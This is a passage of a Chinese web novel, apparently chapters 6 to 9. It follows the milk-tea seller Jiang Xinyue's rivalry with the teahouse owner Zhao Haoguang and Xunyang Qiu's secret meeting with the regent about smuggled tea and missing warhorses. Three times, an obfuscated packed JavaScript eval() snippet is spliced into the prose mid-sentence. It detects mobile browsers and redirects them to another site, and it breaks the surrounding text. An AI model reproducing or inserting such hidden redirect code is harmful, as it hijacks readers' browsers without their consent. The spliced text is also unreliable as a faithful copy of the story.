“江掌柜好手段啊。”赵浩广阴阳怪气地走近,“昨日还说奶茶卖完了,今儿就能支摊?” 卖豆腐的王婆子突然从人群里钻出来,手里还端着半碗奶茶:“赵会长您闻闻,这才是正经茶汤!人家三娘天没亮就起来熬茶,哪像您那馊水......” “闭嘴!”赵浩广劈手要打,浔阳秋横跨半步挡在前头。两人胳膊一撞,赵浩广踉跄着倒退,帽都歪了。 江心月趁机高声说:“各位街坊,今日奶茶管够。方才受惊的,每人多送一块杏仁糕!” 人群顿时欢腾起来。张屠户挤到最前头:“给我留两碗!家里婆娘昨儿就馋这口了!” 赵浩广在哄笑声中狼狈离开时,江心月看见他回头瞪了一眼。浔阳秋接过她手里的茶碗,指尖不经意擦过她虎口:“别怕,他掀不起风浪。” “谁怕了?”江心月把碎发别到耳后,“我是想着明天得多备些桂花蜜。” 呆六娘数铜板的声音叮当响:“备多少都成!您没瞧见么——”她朝茶馆努努嘴,那儿只剩个翻倒的桶在晒太阳,“云来茶馆的招牌,都快被赵会长砸啰!” 江心月抬头看了看天色,夕阳的余晖给她的侧脸镀上一层金边。她手里的木勺在奶茶中划出优美的弧线,香气随着她的动作愈发浓郁。嘴角那抹若有若无的笑意,比杯中的珍珠还要晶莹透亮。 “六娘,”她轻声吩咐,“把新熬的那锅珍珠拿出来吧,我看今天客人要多起来了。” 呆六娘欢快地应了一声,转身去搬罐子。 茶馆那边又传来一阵摔打声,但已经没人在意了。夕阳西下,江心月的小摊前,欢声笑语随着奶茶的香气,飘出去很远很远。 夜色渐浓,云来茶馆的灯笼在风中轻轻摇晃。赵浩广正伏在柜台后,手指拨弄着算盘珠子发出“噼啪”声响。 门轴“吱呀”一响,江心月的身影出现在门口。 “赵会长,连本带利,一文不少。”江心月将鼓鼓的铜钱袋重重放在柜台上,发出沉闷的“咚”声。她解开系绳,铜钱在油灯下泛着温润的光泽。 赵浩广眯起眼睛,慢条斯理地一枚一枚数着铜钱。数到最后一枚时,他突然冷笑一声:“就这点能耐?以为还了钱就两清了?” 他“啪”地合上账本,手指关节因用力而发白,“告诉你,我已经让三个厨子轮班研究你那破奶茶的配方了。” 他凑近一步,压低声音,“不出一旬,定要让你这摊子关门大吉!” 出了茶馆,夜风拂过江心月的面颊。她攥紧装着银簪的布袋,径直往城南当铺走去。 当铺门前的灯笼已经点亮,在石板路上投下摇曳的光影。 当铺掌柜正在整理货架,见她进来,眼睛一亮:“姑娘来得正好。”他转身进了里间,取出一个洗得发白的蓝布包,“明日就到赎当期了,我正想着要不要派人去知会一声。” 江心月数出铜钱排在柜台上,接过布包小心打开。一支素雅的银簪静静躺在蓝布上,簪头那朵梅花雕得栩栩如生。 她的指尖轻轻抚过簪身,能感受到花瓣上细腻的纹路。 转过两条街巷,远远就看见呆六娘在古井边打水。月光下,她的身影显得格外单薄。 江心月放轻脚步走到她身后,突然将银簪举到她眼前:“这是谁的宝贝呀?” “扑通”一声,水桶掉回井里,溅起的水花打湿了井台。呆六娘猛地转身,眼睛瞪得圆圆的:“我的簪子!”她颤抖着手接过银簪,突然红了眼眶,“你...你怎么找到的...” “当票就夹在你账本里。”江心月用袖子替她擦掉眼泪,“傻丫头,以后我们就有钱了,再不用当东西了。” 呆六娘把银簪紧紧贴在胸口,眼泪止不住地往下掉:“这是我娘留给我的嫁妆......” “来,我给你戴上。”江心月接过银簪,轻轻别进呆六娘略显凌乱的发髻中。 夜风吹过,那朵银雕梅花在月光下泛着柔和的光泽。 不远处,浔阳秋提着刚买的宵夜恰好路过。他驻足望着这一幕,嘴角不自觉地上扬。 转身对身旁的随从低声道:“去西街糕点铺,买两份刚出炉的桂花糕来。”想了想又补充,“要加双份蜜糖的那家。” 7. 第 7 章 浔阳秋提着油纸包着的宵夜和桂花糕,远远跟在江心月和呆六娘身后。 桂花糕的甜香从纸包里渗出来,混着刚买的芝麻烧饼的香气。他正琢磨着待会儿要怎么突然跳出来吓她们一跳,肩膀突然被人拍了一下。 “浔阳公子,”一个穿灰布短打的年轻人凑近低语,“王爷在君潋台候着呢。” 浔阳秋皱了皱眉,看了眼不远处江心月的背影,又掂了掂手中的油纸包:“现在?” “王爷说了,立刻。”年轻人做了个请的手势。 君潋台坐落在城西最繁华的街口,朱漆大门上嵌着鎏金铜钉,在夕阳下泛着暗沉的光。 浔阳秋踏上三级汉白玉台阶,早有侍从推开那扇雕着百鸟朝凤的楠木门。 “王爷在二楼等您。”小厮压低声音,眼睛却盯着浔阳秋手里的油纸包。 浔阳秋把油纸包往怀里收了收:“新来的?” 小厮一愣,赶紧低头退到一边。 浔阳秋迈进门槛,脚下踩着寸厚的波斯地毯,金线绣成的牡丹在脚下绵延。左侧整面墙都是多宝阁,摆着前朝的青瓷、西域的琉璃,最显眼处供着的那尊羊脂玉观音的衣褶似乎比上次更润了些。 浔阳秋沿着螺旋楼梯往上走,扶手是整块紫檀木雕成的缠枝莲,摸上去冰凉光滑。 二楼书房门口挂着半截竹帘,浔阳秋刚撩开,铃铛清脆地响了一声。 屋里点着檀香,墙上挂满字画。 摄政王谢罕正倚在窗边的黄花梨躺椅上,手里把玩着一个青瓷茶杯。见浔阳秋进来,他用脚勾过一张绣墩:“坐。窗边有风,凉快。” 窗外突然飞过一群归巢的麻雀,檐角金铃叮咚作响。 “先皇最爱听这铃铛声。”谢罕忽然开口。 “先皇赐这宅子时说过,”谢罕望着远处宫墙的轮廓,“檐角的金铃要永远留着。”他指了指西边那扇窗,“从那儿看出去,能望见当年他站过的角楼。” 浔阳秋顺着望去,果然看见远处宫墙一角。暮色中,几个侍卫的身影如同剪影。 侍从悄无声息地端上点心,描金漆盘里的芝麻酥摆成了朵花。 谢罕捏起一块芝麻酥,碎屑落在织金缎的衣摆上,他随手掸了掸:“听说你最近跟个卖奶茶的丫头走得很近?” 楼下传来更夫敲梆子的声音,混着街边小贩收摊的吆喝。君潋台里却安静得能听见铜壶滴漏的水声,一滴,又一滴。 浔阳秋把油纸包放在一旁的茶几上:“王爷消息灵通。” 谢罕起身,手指轻轻敲打着桌边:“一个烧火丫鬟,值得你天天去帮忙?” “江心月不简单。”浔阳秋走到窗前,正好能望见远处江心月居住的小院,“她跟赵浩广有过节,知道不少事。” 谢罕挑了挑眉:“比如?” “赵浩广私贩官茶,在城北有个仓库。“浔阳秋从袖中掏出一张纸条,“这是地址。” 谢罕接过纸条,对着光看了看:“字写得不错,你的手笔?” “她口述,我记录。”浔阳秋端起茶杯,笑了笑,“江心月说,赵浩广最近卖的奶茶,用的都是发霉的陈茶。” 谢罕终于露出感兴趣的表情:“有意思。不过...”他忽然逼近一步,“你该不会真对那丫头有意思吧?” 浔阳秋面不改色:“王爷说笑了。我只是觉得,从一个被赵浩广欺负的小贩嘴里套话,比直接查他容易得多。” 楼下传来更夫的梆子声。谢罕走到茶几前,掀开油纸包看了眼:“桂花糕?你什么时候爱吃甜食了?” “给线人买的。”浔阳秋面不改色,“要取得信任,总得下点本钱。” 谢罕晃了晃手中的纸条,“这事要是真的,记你一功。” “我也送你一张纸条。”谢罕从袖中抽出一张薄如蝉翼的纸条,轻轻放在黄花梨小几上。纸条边角有些卷曲,像是被人反复展开又折起过。 “北境送来的军马,”谢罕用指尖点了点纸条,“上月该到三千匹,实际只到了一千八。” 浔阳秋正要伸手去拿,谢罕突然按住纸条一角:“赵浩广的小舅子王德海,在兵部管着马政司。” 窗外传来打更声,铜锣在寂静的街道上格外刺耳。 浔阳秋收回手,转而提起茶壶给谢罕续了杯茶。茶水注入杯中,升起一缕白雾,茉莉花的香气在两人之间弥漫开来。 “四百匹说是路上病死的,”谢罕冷笑一声,端起茶杯抿了一口,“还有八百匹说是水土不服,需要调养。” 浔阳秋吹了吹茶水上浮着的茉莉花:“王爷是让我去数马?” “去查查那八百匹‘水土不服’的马。”谢罕松开按着纸条的手,“听说都拉到赵家新置办的黑水马场去了。” 浔阳秋展开纸条,上面潦草地写着“黑水马场”四个字,旁边还画了个简易的路线图。 “明天就去?“浔阳秋把纸条折好塞进袖袋。 谢罕站起身走到窗前,望着远处星星点点的灯火:“不急。先把你那卖奶茶的丫头哄好了。”他回头指了指浔阳秋放在茶几上的油纸包,“桂花糕都快凉了。” 浔阳秋起身告辞。走到门口时,谢罕忽然又说:“对了,马场管事陈三有个嗜好——”他顿了顿,“最爱喝珍珠奶茶。” 浔阳秋脚步一顿,没有回头,只是摆了摆手表示知道了。 谢谢罕突然笑出声:“去吧,别让你的‘线人’等急了。” 走到楼梯口时,谢罕又叫住他:“对了,那丫头要是问起今晚...“ “她不知道我来过。”浔阳秋头也不回地往楼下走去,夜风从敞开的窗户灌进来,带着桂花的甜香。 铃铛清脆地响了一声。谢罕站在窗前,看着浔阳秋的身影匆匆穿过街道,朝着江心月住处的方向赶去。月光把他的影子拉得很长,一直延伸到街角的灯笼下。 “王爷,”管家刘量悄无声息地出现在身后,手里捧着件外袍,“您就这么由着浔阳公子和个卖奶茶的丫头来往?” 谢罕接过外袍披在肩上:“浔阳是个明白人。”他走回躺椅边坐下,顺手从果盘里拈起一颗葡萄,“那丫头能让浔阳这般上心,必有过人之处。” 刘量欲言又止,谢罕摆摆手:“两情相悦的男女,我们何必做那棒打鸳鸯的恶人?”他将葡萄抛起又接住,“只要浔阳活着,就会永远忠诚于我。这就够了。” 楼下传来侍从收拾茶具的轻微响动。谢罕忽然想起什么,对刘量吩咐道:“明日派人去黑水马场附近盯着,但别惊动任何人。” “王爷是担心......” “不是担心,”谢罕将葡萄放入口中,慢慢咀嚼,“只是好奇那八百匹‘水土不服’的马,到底病得有多重。” ———— 月光如水般倾泻在江心月家的小院里。 浔阳秋推开吱呀作响的竹篱笆门,手里提着的油纸包散发出芝麻和桂花的香气。 “哟,秋哥儿来了!”呆六娘正坐在石磨旁择菜,抬头笑道,“手里提着什么好东西?” 浔阳秋晃了晃油纸包:“刚出炉的芝麻烧饼,还有福满楼的桂花糕。” 江心月从厨房探出头来,发梢还沾着些面粉:“来得正好,我刚煮好一锅红豆汤。” 三人围坐在院中的老槐树下。浔阳秋解开油纸包,金黄的烧饼还冒着热气。 呆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359029|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六娘迫不及待地掰了一块,烫得直吹手指:“嘶——好烫!不过真香!” “慢点吃,”江心月递过一碗红豆汤,“别噎着了。” 月光下,三人边吃边聊。浔阳秋说起街上新开的绸缎庄,江心月讲着今天遇到的古怪客人,呆六娘则抱怨面粉又涨价了。 槐树的影子在地上摇曳,偶尔落下几片叶子,飘进红豆汤里。 吃完宵夜,江心月搬出木薯粉和黑糖。三人就着月光开始揉制明天的珍珠。 浔阳秋挽起袖子,手法熟练地将面团搓成小圆球。 “哎哟,”呆六娘突然笑道,“秋哥儿现在揉珍珠比我们俩还利索呢!” 江心月抬头看了一眼,忍不住也笑了:“确实,比第一次强多了。那时候搓的珍珠,大的像枣,小的像芝麻。” 浔阳秋故作严肃地举起一颗珍珠对着月光端详:“这可是要卖钱的,不能马虎。” 三人对视一眼,突然同时笑出声来。笑声在寂静的夜里格外响亮。 “哪个杀千刀的大半夜不睡觉!”隔壁陈婶的怒骂声穿透墙壁,“再吵老娘拿洗脚水泼你们!” 三人立刻噤声,江心月捂住嘴,肩膀还在抖动。呆六娘憋得脸都红了,浔阳秋则假装专心揉珍珠,只是嘴角不停抽搐。 等隔壁没了动静,浔阳秋压低声音:“我明天要出门一趟,可能几天都不能来帮忙了。” 江心月手中的动作顿了顿:“有事?” “嗯,去城外办点事。”浔阳秋将搓好的珍珠排进竹筛,“你这几天小心些,赵浩广那边......” “放心吧,”江心月将一缕散落的头发别到耳后,“我有分寸。” 呆六娘看看这个,又看看那个,突然夸张地打了个哈欠:“哎呀,这月亮都爬到西边屋檐上去了,我得回去睡了。” 江心月闻言抬起头,眉毛一挑:“这么瞌睡呀?倒是我天天麻烦你了。”她手上不停,一颗颗圆润的珍珠从指间滚落到竹筛里。 呆六娘立刻挺直了腰板,讨好地笑道:“没有、没有的事!”她抓起一把木薯粉,故意揉得哗哗响,“我精神着呢,你看我还能再干三筐!” “啪”的一声,浔阳秋把一颗搓好的珍珠弹到呆六娘面前:“让你贫嘴。”他嘴角噙着笑,“上回是谁揉着揉着就趴在桌上打呼噜的?” 呆六娘脸一红,抓起那颗珍珠就要扔回去,又舍不得地放回竹筛:“我是为了谁呀......”她小声嘀咕着,眼睛在两人之间来回瞟,“有些人啊,一个装模作样地教搓珍珠,一个假正经地学,倒累得我......” 江心月手中的木薯团子突然掉在案板上,发出“啪嗒”一声响。浔阳秋假装没听见,低头猛搓珍珠,耳朵尖却悄悄红了。 夜风拂过,吹得晾在竹竿上的纱布轻轻晃动。隔壁传来陈婶翻身时床板的吱呀声,吓得三人同时缩了缩脖子。 “行了行了,”江心月拍拍手上的粉末,“今天确实不早了。”她起身收拾案板,故意把动作弄得很大声,“六娘明天还要早起磨豆浆呢。” 呆六娘如蒙大赦,立刻站起来活动发麻的腿脚:“就是就是,我家的驴子明天还得......”她突然意识到说漏了嘴,赶紧捂住嘴巴。 “哦——”浔阳秋拖长声调,“原来不是你自己困,是怕你家的驴明天起不来啊?” 三人对视一眼,同时笑出了声。江心月急忙做了个噤声的手势,指了指隔壁。月光下,三个脑袋凑在一起,肩膀抖个不停,却硬是没敢再发出声音。 浔阳秋起身告辞,走到门口时回头看了眼。月光下,江心月正低头整理竹筛,发间的木簪在月色中泛着温润的光。 8. 第 8 章 天边刚泛起鱼肚白,云来茶馆的后厨就飘出一股甜腻的焦糖味。赵浩广瞪着锅里翻滚的黑珍珠,额头上还挂着汗珠。他伸手搅了搅木勺,珍珠在糖浆里沉沉浮浮,发出“咕嘟咕嘟”的声响。 “火候差不多了。”他自言自语道,捞起一颗珍珠在指尖搓了搓,突然咧嘴笑了,“这回总算成了!” 老周正蹲在灶台后面添柴火,听见动静赶紧凑过来。他伸长脖子往锅里瞧,一股热腾腾的蒸汽“噗”地扑在他脸上,烫得他“哎哟”一声往后跳。 “慌什么?”赵浩广瞪他一眼,“过来尝尝。” 老周小心翼翼地捏起一颗珍珠,刚放进嘴里就瞪圆了眼睛:“会长,这、这比上次的软乎多了!” 这时老刘提着菜篮子从后门进来,鼻子抽动两下就直奔灶台:“什么味儿这么香?”他看见锅里黑亮亮的珍珠,喉结上下滚动,“这要是做成奶茶,得卖多少钱一杯啊?” 赵浩广“啪”地盖上锅盖,震得灶台上的碗碟叮当响:“今日白送!” “啊?”老刘手里的菜篮子“咣当”掉在地上,土豆萝卜滚了一地。他扶着灶台才没跪下去,“会长,您没发烧吧?这一锅珍珠成本就得......” “闭嘴!”赵浩广抓起抹布擦着手上的面粉,“老周,去把门口招牌换了,就写‘云来茶馆,珍珠奶茶免费尝’!” 老周正要往外跑,忽然前街传来“吱呀”的开门声。 三人同时竖起耳朵,是江家那丫头又开张了。 隐约还能听见几个姑娘的说笑声:“心月姐,今天的新口味是什么呀?” 赵浩广脸色一沉,抄起铜锣就往外冲。 老周赶紧拦住他:“会长,珍珠还没......” “盛出来!全盛出来!”赵浩广一把推开他,“老子今天要让那丫头一片茶叶都卖不出去!” 老周手忙脚乱地往大碗里盛珍珠,越盛越觉得不对劲。他偷偷瞄了眼锅里黑乎乎圆溜溜的珍珠,小声嘀咕:“这玩意儿怎么越看越像羊粪蛋儿......” “嘀咕什么呢?”赵浩广猛地回头,铜锣差点砸到老周脑袋。 老周一个激灵,差点把碗摔了:“没、没什么!我是说会长英明!这珍珠又圆又亮,保准把客人都引过来!”他端着碗小跑出去,心里直打鼓:这免费送的奶茶,真能斗得过江家丫头的手艺吗? 前街已经热闹起来。江心月正麻利地给姑娘们递奶茶,浅绿色的围裙上沾着几点奶渍。 她抬头看见赵浩广拎着铜锣气势汹汹地过来,手上动作顿了顿,但很快又继续笑着招呼客人:“小桃,你的奶茶。” 老周端着珍珠碗跟在赵浩广后头,额头上直冒冷汗。他偷瞄了眼江心月摊位上排队的客人,又看看自家会长铁青的脸,心里暗暗叫苦:今天这场面,怕是不好收场啊...... “走过路过别错过!云来茶馆珍珠奶茶,白送不要钱!”他扯着嗓子喊,顺手从老周端着的托盘里抄起一碗,高高举过头顶。碗里的奶茶晃荡着,几滴溅在他下巴上,他也顾不上擦。 几个路人被锣声吸引,好奇地往这边张望。 老周端着沉重的托盘在街上艰难地来回走动,托盘上十几碗奶茶随着他的脚步微微晃动,有几滴溅出来落在他洗得发白的布鞋上。他扯着嗓子喊道:“免费试喝!云来茶馆秘制珍珠奶茶!” 几个原本围在江心月摊前的年轻姑娘闻声转过头来。 江心月这边,卖糖人的小丫头踮着脚往对面张望:“心月姐,他们那珍珠黑乎乎的,看着怪吓人。” “那是红糖揉的面团子,煮老了。”江心月头也不抬,手里的木勺在茶桶里画着圈,搅起一阵淡淡的茶香。她眼角余光瞥见几个熟客往对面挪步,指节不自觉地紧了紧。 穿绿裙子的姑娘接过赵浩广递来的碗,小拇指翘着,像是怕沾到什么脏东西。她抿了一小口,眉毛微微挑起:“咦?甜倒是挺甜的......” “甜吧?”赵浩广立刻凑上前,笑得见牙不见眼,“加了南洋来的红糖,养颜又滋补!” 扎红头绳的姑娘已经咕咚咕咚喝了大半碗,闻言赶紧拽闺蜜的袖子:“走走走,多要几碗,晚上看戏时喝!” 两人说说笑笑往云来茶馆走去,绿裙子姑娘还回头看了眼江心月,脸上带着几分歉意。 江心月站在自己的摊位后,手里的木勺无意识地在奶茶桶里搅动着,“咚、咚”,木勺在桶沿轻轻磕了两下。她望着逐渐散去的客人背影,抿了抿嘴唇。 “心月姐......”旁边卖糖人的小丫头担忧地看了她一眼。 “没事。”江心月摇摇头,把散落的碎发别到耳后,“做生意嘛,有起有落。” 正说着,前头排队的几个婆子也开始交头接耳。 卖酱菜的陈婶挎着篮子挤过来,胳膊肘差点碰翻江心月摊上的糖罐:“三娘对不住啊,我去去就回......”话没说完,人已经蹿出去老远。 呆六娘气得把抹布摔在案板上:“这帮没良心的!上回你白送杏仁糕的时候,怎么不见他们跑这么快?” 对面茶楼门口,老周端着空托盘往回跑,差点撞上挑担卖梨的老汉。赵浩广还在那扯着嗓子喊:“管够管够!后厨还有三桶!” 卖花大娘挎着满篮茉莉经过江心月摊前,脚步顿了顿:“三娘啊,我这儿新摘的......” “您快去吧。”江心月笑着指指对面,“去晚了该没了。” 大娘讪讪地走了。呆六娘“砰”地把桂花蜜罐子搁在案板上,震得碗碟叮当响。 街角传来孩童的嬉闹声。几个半大孩子举着竹竿跑来,最前头的那个边跑边喊:“赵大叔!我娘说要五碗!” 赵浩广笑得脸上的褶子能夹死蚊子:“好嘞!老周,给这孩子多抓把珍珠!” 江心月望着空了大半的茶桶,伸手把灶火调小了些。茶汤咕嘟咕嘟的声响渐渐低下去,像是叹了口气。 呆六娘急得直跺脚,手里的抹布都快拧成了麻花:“三娘,这客人都走光了,咱们可怎么办啊?” “不急。”江心月深吸一口气,“这种免费的生意能做到几时?” 对面云来茶馆门前已经围得水泄不通。 老周端着空托盘在人群中挤来挤去,额头上豆大的汗珠直往下淌,后背的衣衫都湿透了:“排队!都排队!一个一个来!” 柜台后面,老刘手忙脚乱地冲泡着茶水,滚烫的热水溅到手背上,他“嘶”地倒抽一口冷气,赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359030|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧甩着手吹气。 对面又传来赵浩广得意的大笑声:“再来十碗!老周,给客官多盛点珍珠!要让大伙儿吃得尽兴!” 日头渐渐西斜,街上的行人开始减少。 江心月揭开木桶盖子,奶茶的香气已经淡了许多,桶底还沉着大半桶没卖完的奶茶。 呆六娘蹲在摊位旁,粗糙的手指一枚一枚数着钱袋里的铜钱,眉头皱得能夹死苍蝇:“三娘啊,今儿挣的这点钱,连买两斤好面粉都不够......”她抬头看了眼对面热闹的茶馆,“明天可怎么开张啊。” 江心月没应声,她正弯腰收拾灶台上的器具。一阵春风拂过,柳树上新抽的嫩芽打着旋儿落下,正好掉进装清水的大缸里。柳叶浮在水面,叶尖还挂着一颗晶莹的水珠,在夕阳下泛着琥珀色的光。 “咦?”江心月突然停住了擦拭木勺的手。 呆六娘连忙凑过来:“怎么了?可是又想到什么好主意?” 江心月没有应声,而是用木勺轻轻搅动水面。 柳叶随着水波缓缓旋转,但叶尖的水珠却始终悬在叶片与水面之间,不肯落下。她突然抬起头,眼睛里闪着光:“六娘,我有办法了。” “啊?”呆六娘一愣,手里的铜钱差点掉在地上,“什么办法?快说说!” 江心月没有直接回答,她的手指沿着水缸边缘慢慢画了个圈,嘴角微微上扬。 对面的云来茶馆依旧人声鼎沸,赵浩广的大嗓门时不时传来。江心月望着这一幕,轻轻叹了口气。 她伸手探了探木桶里的奶茶,已经有些凉了。突然,她像是下定决心似的,把剩下的奶茶全部倒进一个大陶壶里。 “六娘,收拾东西。”她的声音很轻,却透着一股坚定。 “啊?”呆六娘惊讶地瞪大眼睛,“这就收摊?天还没黑透呢。” 江心月没有解释,只是把装桂花蜜的罐子用油纸仔细包好,又用细绳捆了两道。 赵浩广正送走一批客人,看见她收拾摊位的背影,得意地哼起了小曲,还故意把铜钱抛得叮当作响。 江心月收拾完摊位,突然径直走向云来茶馆。 赵浩广立刻挺直腰板,故意提高嗓门:“怎么?认输了?要来投靠我赵某人了?” “赵会长。”江心月指了指他摆在门口的样品碗,声音平静,“您的珍珠,泡发了。” 赵浩广低头一看,碗里的珍珠果然胀大了两圈,像泡发的黄豆。他一把抢过碗藏在身后,脸色涨得通红:“要你多管闲事!” 江心月笑了笑,转身离去。春风拂过,几片柳絮飘飘荡荡,正好落进赵浩广的茶碗里,黏在发胀的珍珠上,像长了毛的霉球。 夕阳把她的影子拉得很长,一直延伸到对面茶楼的台阶下。呆六娘小跑着追上她:“心月,你倒是说说,到底想到什么好主意了?” 江心月停下脚步,从袖中取出那片湿漉漉的柳叶:“六娘,你见过茶水浮在羊奶上的样子吗?” “啊?”呆六娘一脸茫然,“茶水不都是混在一起的吗?” 江心月轻轻摇头,将柳叶抛向空中。柳叶在夕阳中打了个旋,最后落进了路边的水沟里。她望着那片渐行渐远的柳叶,轻声说:“明天记得带新鲜羊奶来。” 9. 第 9 章 连着三日,云来茶馆门前排起长队。赵浩广站在柜台后头,得意地瞧着对面江心月冷清的奶茶摊。 江心月把摊位收拾得格外整洁,木桶擦得发亮,杯碗摆得整整齐齐。 “四文一碗!热乎的珍珠奶茶!”老周扯着嗓子吆喝,手里竹勺敲得木桶邦邦响。 呆六娘急得在摊位前来回踱步,终于忍不住凑到江心月耳边:“心月,要不咱们也降一文钱吧?” “不行。”江心月斩钉截铁地摇头,手指无意识地摩挲着木勺柄,“连本钱都收不回来。咱们的桂花蜜、鲜牛奶,哪样不是真材实料?” “六娘,帮我把那个新做的招牌挂上。”江心月边说边从篮子里取出一个小木牌,上面用红漆写着“桂花蜜酿奶茶”几个字。 她踮起脚尖,将那块新做的招牌往竹竿上挂,红漆在晨光下泛着温润的光泽。 “六娘,帮我把这边系紧些。”江心月扯了扯绳子,回头看见呆六娘正盯着木桶发呆。 呆六娘踮着脚挂招牌,忍不住问:“三娘,这三月桂可不便宜啊。” “六文一碗。”江心月弯腰掀开木桶盖子,一股浓郁的桂花香立刻飘了出来,几个上学堂的小童经过,不约而同地吸着鼻子放慢了脚步。 只见桶里的奶茶分成了漂亮的三层:最底下是透亮的琥珀色蜜糖,中间是乳白的奶茶,最上层漂浮着几朵金黄的桂花。 “哎呀!”呆六娘一个踉跄,差点从垫脚的小板凳上摔下来,“这、这怎么弄出来的?” 江心月抿嘴一笑,转身揭开装桂花蜜的陶罐盖子。她舀了满满一勺金黄的蜜汁,手腕轻转,蜜汁便如丝线般顺着杯壁缓缓流下,在杯底渐渐堆积成琥珀色的糖浆。 “昨晚熬到三更天。”江心月边说边取来长勺,轻轻搅动杯中的液体。三层颜色渐渐交融,变成温柔的淡黄色,“要等蜜糖完全凉透才能加奶茶,桂花得现撒才新鲜。” 呆六娘看得入神,不自觉地咽了咽口水。 江心月将调好的奶茶递给她:“尝尝看。” 呆六娘接过杯子,先是小心地抿了一口,随即眼睛一亮:“甜得正好!”话音未落,她已经仰头将整杯一饮而尽,喝完还意犹未尽地舔了舔嘴角。 看着呆六娘这副模样,江心月眼角笑出了细纹:“这几天我往阿尔罕的琉璃坊跑了好几趟。”她从篮子里取出几个晶莹剔透的琉璃杯,“用这个装,才能看清楚分层。” 呆六娘恍然大悟,手指轻轻抚过杯壁:“难怪要这么透亮的杯子!”她突然压低声音,“阿尔罕那个铁公鸡,肯把这么好的杯子给你?” 江心月笑而不答,只是仔细地将琉璃杯一字排开。晨光透过杯壁,在地上投下七彩的光斑。 第一个客人是卖豆腐的老张。 豆腐老张推着他的独轮车经过江心月的摊位。一股清甜的桂花香钻进鼻子,他不由得停下脚步,吸了吸鼻子。 “江丫头,这新鲜玩意儿给我也来一杯?”老张把车子往路边一靠,抹了把额头的汗。 江心月正在往木桶里加刚煮好的奶茶,闻言抬头一笑:“张叔稍等,马上就好。” 她麻利地舀了一勺桂花蜜,又倒入刚煮好的奶茶,最后撒上一小撮干桂花。阳光透过薄雾照在她灵巧的手指上,像给这杯奶茶镀了层金边。 老张在一旁看得真切,心里暗想:这丫头为了这杯奶茶,怕是真费了不少心思。 他接过琉璃杯,小心翼翼地抿了一口,眼睛顿时瞪得溜圆:“哎哟!这甜味儿正合适,还有股子桂花香!”他嗓门本来就大,这一嗓子喊出去,几个路过的街坊都围了过来。 “老张,啥好东西啊?” “让我也尝尝!” “排队排队!” 对面云来茶馆里,老周正打着哈欠开门,看见这边突然围了一圈人。他转身就往里跑,差点被门槛绊了一跤:“会长!会长!那丫头又出新花样了!” 赵浩广正在后院数铜钱,一听这话,手里的钱串子“哗啦”撒了一地:“什么?快去看看!”他踢开脚边的铜钱就往前面冲,衣摆带起一阵风,把几枚铜钱吹得滴溜溜转。 等他们赶到前门时,江心月的摊位前已经排起了小队。 穿绿裙子的姑娘捧着杯子,兴奋地对同伴说:“比昨天云来茶馆的好喝多了!桂花香一点都不腻人!”她说着又喝了一大口,嘴角沾了点奶沫。 赵浩广脸色铁青,转身就要去拿铜锣。 老刘赶紧拉住他的袖子:“会长,咱今天难道免费送吗?那天可亏了不少,这两天刚挣回本......” “送!怎么不送!”赵浩广甩开他的手,袖子“刺啦”一声裂了道口子,“去,把招牌换成‘买一送一’!再写上‘加量不加价’!” 老刘苦着脸去换招牌,路过柜台时,看见昨天新进的茶叶还堆在那里。他叹了口气,心想这茶叶钱又要赔进去了。 街对面,江心月正给客人盛奶茶。她舀奶茶的动作很轻,生怕搅散了那漂亮的分层。阳光照在她含笑的眼睛里,像两汪清亮的泉水。 偶尔有风吹过,带起几片早落的桂花,飘飘荡荡落在摊位的布幌子上。 江心月收拾摊位时,一片桂花飘落在她手背上。她捏起那小小的金黄花朵,忽然想起半月前那个午后。 那天她正在熬糖浆,突然发现桂花蜜快用完了。“早桂还没上市,这可怎么办......”她小声嘀咕着,正好被来帮忙的浔阳秋听见。 “要是不嫌弃,”浔阳秋放下手中的竹筛,“我家院里有棵四季桂,这会儿正开花。” 江心月眼睛一亮:“真的?那......” “现在就去?”浔阳秋已经解下围裙,“趁日头好。” 两人穿过热闹的街市,拐进一条安静的小巷。浔阳秋的院子不大,但收拾得很整齐。墙角那棵桂树枝叶茂密,金灿灿的小花藏在绿叶间,香气扑鼻。 “好香!”江心月小跑过去,指尖轻轻碰了碰低处的花枝,“比市面上卖的还香呢。” 浔阳秋递给她一个竹篮:“摘下面的,上面的我来。” 江心月小心翼翼地摘着花朵:“用这种新鲜桂花酿蜜,香味能渗到骨子里。”她捻起一朵给浔阳秋看,“你看这花型多饱满,酿出来的蜜肯定清亮。” “你懂得真多。”浔阳秋伸手去够高处的枝条,衣袖滑落到手肘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359031|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我娘教的。”江心月声音轻快,“她说桂花要选半开的,全开的香气都散了。”她突然踮起脚,“那边有几枝特别好!” 